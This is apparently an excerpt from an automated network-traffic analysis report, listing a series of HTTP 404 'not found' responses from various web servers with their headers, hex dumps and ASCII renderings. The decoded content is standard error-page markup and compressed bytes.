Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 5f835477-a51e-4f45-8500-ed1a66fea7caData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8ZONNItTc3Y9wBjzafs8UmVSpKXDJwDMpbzxkMKeO6lqZe%2BW1IeufjFvtOthcwRYHwsOwtsYgL7mhROV9%2FfrT%2BMRbwgisHXz35tXVC8yP1gLE1VGJ6Ba779I29K5KuEaAk2zhg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845da7cc835c71-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-234.ec2.internalX-Request-Id: cfce2085-56a3-41da-a0f1-41cf655658beData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:24 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: pRJJX0XT/73uT5k2jData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cacheContent-Type: text/htmlX-Server: WEB19Date: Wed, 20 Dec 2023 02:13:23 GMTContent-Length: 103Vary: Accept-EncodingData Raw: 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=47IsHD%2FN8CmrJ3AftkaADtf%2BVMAyyNDj%2BCLcfGMqwzfYV3KN5PTv1LIIv9Aa0%2BQ5vzzj3FSbToTF9xri%2B3Ma99JsrMCCM3D4dR9vUrRWoGD731KAliwdQlVA%2F%2BbRteezKc8VaQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845daa38d45c71-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 230Connection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6e c2 30 10 44 ef f9 8a 2d f7 66 43 c5 a1 07 cb 52 21 41 45 4a 69 d4 9a 03 47 13 2f 38 22 b1 5d db 14 f1 f7 38 41 95 7a 59 69 76 e7 8d 66 d9 53 f9 b9 12 fb a6 82 77 f1 51 43 b3 5b d6 9b 15 cc 9e 11 37 95 58 23 96 a2 7c 5c 5e f2 02 b1 da ce 78 c6 74 1c 7a ce 34 49 95 44 ec 62 4f 7c 51 2c 60 6b 23 ac ed c5 28 86 8f 65 c6 70 32 b1 83 55 b7 91 9b f3 7f 9e a4 32 e6 b8 d0 04 9e 7e 2e 14 22 29 d8 7d d5 80 4e bb e1 26 d5 d0 19 84 ab 0c 60 12 74 1c 21 b0 06 a2 ee 02 04 f2 bf e4 73 86 6e 8c f5 69 48 a5 3c 85 c0 df 9c 6c 53 e2 f7 64 00 19 e1 d0 cb f6 ac 28 74 27 93 b7 76 c8 c3 09 1a eb 23 bc 16 0c ff a0 54 74 aa 98 4a 8d af 65 77 27 08 ae c4 15 01 00 00 Data Ascii: Mn0D-fCR!AEJiG/8"]8AzYivfSwQC[7X#\|\^xtz4IDbO\|Q,`k#(ep2U2~.")}N&`t!sniH<lSd(t'v#TtJew'
